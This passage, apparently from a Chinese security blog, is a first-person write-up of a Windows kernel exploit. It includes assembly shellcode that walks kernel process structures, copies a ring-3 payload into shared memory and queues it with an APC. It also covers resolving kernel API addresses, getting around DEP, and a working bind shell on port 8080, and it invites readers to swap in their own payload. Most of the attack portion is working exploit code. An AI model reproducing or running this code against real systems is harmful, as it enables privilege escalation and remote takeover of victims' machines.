search: mov eax,[eax+0x88] //activeprocess sub eax,0x88
/*cmp dword ptr[eax+0x84],0x4 EPROCESS_PID可以通过比较PID的方式找到System这个进程,这个是在提升进程权限为System的Shellcode中用到*/
cmp dword ptr[eax+0x174],'lpxe' //FileName explorer.exe jne search
// mov ebx,dword ptr[eax+0xc8] system token*/ mov ebx,eax
lea esi,usermodeshellcode //usermodeshellcode mov ecx,0x1d6 // usermodeshellcode的大小是0x1d6 /*这儿利用了Ring3下的7FFE0000和Ring0下的FFDF0000指向同一物理内存,并且所有进程都可见这一发现*/ mov dword ptr[edi],0xffdf0800 push edi mov edi,[edi] rep movsb //将Ring3Shellcode拷贝至共享内存0xffdf0800 pop edi
/* 要通过APC机制激活Ring3下的线程需要该线程处于"Alertable Wait State",当且仅当该线程调用过以下函数并且bAlertable这个标志被设置为True的时候才会使其处于Wait状态:SleepEx, WaitForSingleObjectEx,SignalObjectAndWait,MsgWaitForMultipleObjectsEx*/ mov ecx,dword ptr[ebx+0x190] finddelay: mov ecx,[ecx] cmp byte ptr[ecx-0x1ff],0x5 //1ff 指向该线程的状态 - state 0x5=wait jnz finddelay //循环查找所有线程
sub ecx,0x22c mov ebp,ecx
push 0x30 //APC结构体的大小 push 0 //Nonpage申请不分页的内存 mov eax,ExAllocatePool //ExAllocatePool申请内存 call eax //call ExAllocatePool
mov esi,eax xor edx,edx push edx //NULL push 01 //UserMode push eax //User Mode routine push edx //NULL mov eax,ZwYieldExecution //kernel routine ret push eax //Kernel Mode routine push edx //NULL push ebp //前面找到线程的ETHREAD push esi //APC object mov eax,KeInitializeApc //initialize APC call eax
xor ecx,ecx xor edx,edx xor eax,eax push eax push eax push ebp //ETHREAD push esi //APC Object mov eax,KeInsertQueueApc call eax
mov byte ptr[ebp+0x4a],0x1
push offset DelayTime push 0 push 0 mov eax,KeDelayExecutionThread //使该线程进入睡眠状态 call eax
NOP NOP NOP NOP NOP NOP NOP NOP } } 因为这个漏洞是本地溢出,所以获得上述用到的API要简单的多,可以通过在触发漏洞前通过在用户态下LoadLibrary(ntkrnlpa),获得函数的偏移量+内核模块ntkrnlpa的基址的方法获得: ExAllocatePool=(DWORD)GetProcAddress(base,"ExAllocatePool"); ExAllocatePool=(DWORD)((DWORD)ExAllocatePool - (DWORD)base+(DWORD)kbase); 内核模块ntkrnlpa的基址可以调用本机API NtQuerySystemInformation获得,也可以通过其它方法获得。如果是远程溢出的话就稍微要麻烦一点,需要找到ntkrnlpa的基址,分析其导出表来获得上述API函数的地址。原作者将类似ExAllocatePool这些变量都定义成int*型变量,在上述的计算中会导致某些 API获得的地址不准确,让我蓝了很多次,后来在WinDBG下一调试,发现原来是函数的地址获得不对,郁闷啊。不知道是不是编译器不同产生的问题。另外在测试的时候有一点要注意,需要关闭DEP,如图1:

图1 DEP 是数据执行保护,是XP SP2以后新推出的东西,也不知道为什么代码在7FFE0000它也会拦截,可能微软早就对这一区域作出了防范,也没有仔细去研究,当然,可以提前 OpenProcess,再VitrualAllocEx申请某个地址的内存来绕过DEP,假如是远程溢出的话可能就比较麻烦了,有兴趣的读者可以试一下。再运行了kis.exe之后稍等片刻,可以看到我们的绑定cmd到8080端口的Shellcode已经成功执行了,如图2:

图2
总结 这是我第一次尝试写内核Exploit,前后大概调试了三四天,在Kernel的世界里,一个小小的错误都会导致蓝屏,害得我现在看到蓝屏就感到反胃,哈哈。这种通过Kernel Loader来执行Shellcode的方式是目前主流也是比较方便的一种实现,读者可以替换PoC中的Shellcode来实现自己想要的功能。对于传统的应用程序安全,大家都已经研究的比较透,而在Ring3下的一些软件安全问题到了Ring0下还是存在的,还没有引起大家足够的重视。这一块相对来说也可以算一个比较新的领域,在未来可能成为又一个研究热点。 文章也写的比较仓促,错误疏漏在所难免,敬请广大读者指正,有任何问题来我的博客留言:http://www.gyzy.org上一页 1 2 |